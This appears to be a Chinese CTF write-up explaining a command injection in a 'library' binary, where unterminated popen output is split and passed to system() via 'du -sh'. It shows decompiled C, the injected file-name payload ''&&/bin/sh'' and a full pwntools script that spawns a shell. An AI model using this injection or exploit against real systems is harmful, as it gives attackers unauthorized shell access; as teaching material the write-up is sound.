关于读取popen输出结果时未截断字符串导致的命令行注入详解

sprintf(&s, "du -sh lib/'%s'", v6);
system(&s);

du -sh lib/''&&/bin/sh''

du -sh lib/

/bin/sh

char *list_books()
{
 FILE *v0; // eax
 char *result; // eax
 char s; // [esp+4h] [ebp-C14h]
 char ptr; // [esp+804h] [ebp-414h]
 char *v4; // [esp+C04h] [ebp-14h]
 FILE *stream; // [esp+C08h] [ebp-10h]
 char *v6; // [esp+C0Ch] [ebp-Ch]
 v0 = popen("ls lib/", "r");
 stream = v0;
 result = (char *)fread(&ptr, 1u, 0x400u, v0);
 v4 = result;
 if ( result )
 {
 v6 = strtok(&ptr, delims);
 result = (char *)send("Book list:\nSize\tE-book\n");
 while ( v6 )
 {
 sprintf(&s, "du -sh lib/'%s'", v6);
 //很明显，这里存在可能的命令行注入
 system(&s);
 fflush(stdout);
 result = strtok(0, delims);
 v6 = result;
 }
 }
 return result;

int upload_book()
{
 char *v1; // eax
 int v2; // eax
 char buf[1024]; // [esp+Ch] [ebp-42Ch]
 char s[20]; // [esp+40Ch] [ebp-2Ch]
 FILE *stream; // [esp+420h] [ebp-18h]
 char *dest; // [esp+424h] [ebp-14h]
 size_t v7; // [esp+428h] [ebp-10h]
 int v8; // [esp+42Ch] [ebp-Ch]
 if ( book_counter > 10 )
 return send("too many books\n");
 send("Book filename: ");
 v8 = __isoc99_scanf("%20s", s);
 if ( v8 != 1 )
 return send("Wrong title format\n");
 v7 = strlen(s);
 if ( strcmp(&s[v7 - 3], ".bk") )
 return send("The name needs to end with '.bk'\n");
 send("e-book contents: \n");
 read(0, buf, 0x400u);
 if ( *(_DWORD *)buf != 'BBBB' )
 return send("Not an e-book\naborting...\n");
 v1 = (char *)malloc(0x18u);
 dest = v1;
 *(_DWORD *)v1 = 0x2F62696C;
 v1[4] = 0;
 strcat(dest, s);
 stream = fopen(dest, "w");
 if ( !stream )
 return send("Bad book filename\n");
 v2 = book_counter++;
 books[v2] = dest;
 fwrite(buf, 1u, 0x400u, stream);
 return fclose(stream);
}

'&&/bin/sh'\x00

#BBBB1234567891234567891234567'&&/bin/sh'
g_local = True
 
from pwn import *
 
if g_local:
 sh=process("./library")
else:
 sh=remote("xxxx",1234)
 
 
def upload_book(filename, content):
 filename += ".bk"
 sh.send("1\n")
 sh.recvuntil("Book filename: ")
 print filename
 sh.send(filename + "\n")
 sh.recvuntil("e-book contents: \n")
 sh.send(content)
 sh.recvuntil("Enter command: ")
 
def list_books_and_shell():
 sh.send("2\n")
 sh.interactive()
 
upload_book("1", "BBBB1234567891234567891234567\'&&/bin/sh\'\x00")
list_books_and_shell()